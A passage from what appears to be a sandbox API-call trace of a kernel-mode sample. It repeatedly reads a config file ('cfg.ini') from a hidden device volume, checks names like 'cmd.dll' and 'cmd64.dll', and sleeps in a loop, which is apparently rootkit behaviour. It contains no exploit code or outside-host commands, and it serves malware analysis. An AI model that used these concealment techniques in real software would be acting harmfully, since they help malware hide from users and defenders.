PriorityBoost=0) [0118.830] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.830] KeEnterCriticalRegion () [0118.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.830] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.830] KeLeaveCriticalRegion () [0118.830] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.830] KeEnterCriticalRegion () [0118.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.830] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.830] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.830] KeLeaveCriticalRegion () [0118.830] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.830] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.830] KeEnterCriticalRegion () [0118.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.830] ExFreePoolWithTag (P=0xfffffa8003bce190, Tag=0x0) [0118.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.830] KeLeaveCriticalRegion () [0118.830] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.830] ReleaseMutex (hMutex=0xf0) returned 1 [0118.830] Sleep (dwMilliseconds=0x124f80) [0118.851] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.851] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.851] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.851] KeEnterCriticalRegion () [0118.851] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.851] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.851] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.851] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.851] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.852] IdePortDispatch () returned 0x103 [0118.852] KeWaitForMutexObject () returned 0x0 [0118.852] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.852] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.852] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.852] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.852] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.852] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcc160 [0118.852] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.852] KeLeaveCriticalRegion () [0118.852] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.852] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.852] KeEnterCriticalRegion () [0118.852] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.852] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.852] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.852] KeLeaveCriticalRegion () [0118.852] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.852] KeEnterCriticalRegion () [0118.852] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.852] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.852] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.852] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.852] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.852] IdePortDispatch () returned 0x103 [0118.853] KeWaitForMutexObject () returned 0x0 [0118.853] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.853] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.853] KeLeaveCriticalRegion () [0118.853] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.853] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.853] KeEnterCriticalRegion () [0118.853] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.853] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c33000 [0118.853] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.853] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.853] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.853] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.853] IdePortDispatch () returned 0x103 [0118.853] KeWaitForMutexObject () returned 0x0 [0118.853] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.854] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.854] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.854] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.854] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.854] IdePortDispatch () returned 0x103 [0118.854] KeWaitForMutexObject () returned 0x0 [0118.854] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.854] KeLeaveCriticalRegion () [0118.854] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.855] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.855] KeEnterCriticalRegion () [0118.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.855] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.855] KeLeaveCriticalRegion () [0118.855] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.855] KeEnterCriticalRegion () [0118.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.855] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.855] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bce070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.855] KeLeaveCriticalRegion () [0118.855] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.855] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.855] KeEnterCriticalRegion () [0118.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.855] ExFreePoolWithTag (P=0xfffffa8003bcc160, Tag=0x0) [0118.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.855] KeLeaveCriticalRegion () [0118.855] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.855] ReleaseMutex (hMutex=0xf0) returned 1 [0118.855] Sleep (dwMilliseconds=0x124f80) [0118.874] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.874] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.874] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.875] KeEnterCriticalRegion () [0118.875] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.875] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.875] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.875] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.875] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.875] IdePortDispatch () returned 0x103 [0118.875] KeWaitForMutexObject () returned 0x0 [0118.875] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.875] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.875] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.875] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.875] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.875] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bce190 [0118.875] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.875] KeLeaveCriticalRegion () [0118.875] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.875] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.875] KeEnterCriticalRegion () [0118.875] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.875] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.875] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.875] KeLeaveCriticalRegion () [0118.875] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.875] KeEnterCriticalRegion () [0118.875] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.875] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.876] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.876] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.876] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.876] IdePortDispatch () returned 0x103 [0118.876] KeWaitForMutexObject () returned 0x0 [0118.876] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.876] KeLeaveCriticalRegion () [0118.876] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.876] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.876] KeEnterCriticalRegion () [0118.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.876] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c38000 [0118.876] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.876] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.876] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.876] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.876] IdePortDispatch () returned 0x103 [0118.876] KeWaitForMutexObject () returned 0x0 [0118.877] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.877] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.877] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.877] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.877] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.877] IdePortDispatch () returned 0x103 [0118.877] KeWaitForMutexObject () returned 0x0 [0118.877] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.877] KeLeaveCriticalRegion () [0118.877] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.878] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.878] KeEnterCriticalRegion () [0118.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.878] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.878] KeLeaveCriticalRegion () [0118.878] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.878] KeEnterCriticalRegion () [0118.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.878] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.878] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ba0450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.878] KeLeaveCriticalRegion () [0118.878] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.878] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.878] KeEnterCriticalRegion () [0118.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.878] ExFreePoolWithTag (P=0xfffffa8003bce190, Tag=0x0) [0118.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.878] KeLeaveCriticalRegion () [0118.878] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.878] ReleaseMutex (hMutex=0xf0) returned 1 [0118.878] Sleep (dwMilliseconds=0x124f80) [0118.898] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.898] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.898] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.898] KeEnterCriticalRegion () [0118.898] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.898] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.898] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.898] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.898] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.899] IdePortDispatch () returned 0x103 [0118.899] KeWaitForMutexObject () returned 0x0 [0118.899] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.899] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.899] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.899] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.899] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.899] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa62a0 [0118.899] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.899] KeLeaveCriticalRegion () [0118.899] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.899] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.899] KeEnterCriticalRegion () [0118.899] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.899] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.899] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.899] KeLeaveCriticalRegion () [0118.899] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.899] KeEnterCriticalRegion () [0118.899] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.899] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.899] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.899] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.899] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.899] IdePortDispatch () returned 0x103 [0118.901] KeWaitForMutexObject () returned 0x0 [0118.901] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.901] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.901] KeLeaveCriticalRegion () [0118.901] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.901] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.901] KeEnterCriticalRegion () [0118.902] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.902] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c3d000 [0118.902] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.902] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.902] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.902] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.902] IdePortDispatch () returned 0x103 [0118.902] KeWaitForMutexObject () returned 0x0 [0118.902] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.902] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.902] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.902] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.902] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.902] IdePortDispatch () returned 0x103 [0118.902] KeWaitForMutexObject () returned 0x0 [0118.902] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.902] KeLeaveCriticalRegion () [0118.902] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.903] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.903] KeEnterCriticalRegion () [0118.903] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.903] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.903] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.903] KeLeaveCriticalRegion () [0118.903] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.903] KeEnterCriticalRegion () [0118.903] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.903] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.903] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ba0450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.903] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.903] KeLeaveCriticalRegion () [0118.903] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.903] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.904] KeEnterCriticalRegion () [0118.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.904] ExFreePoolWithTag (P=0xfffffa8003aa62a0, Tag=0x0) [0118.904] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.904] KeLeaveCriticalRegion () [0118.904] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.904] ReleaseMutex (hMutex=0xf0) returned 1 [0118.904] Sleep (dwMilliseconds=0x124f80) [0118.923] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.923] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.923] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.923] KeEnterCriticalRegion () [0118.923] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.923] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.923] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, 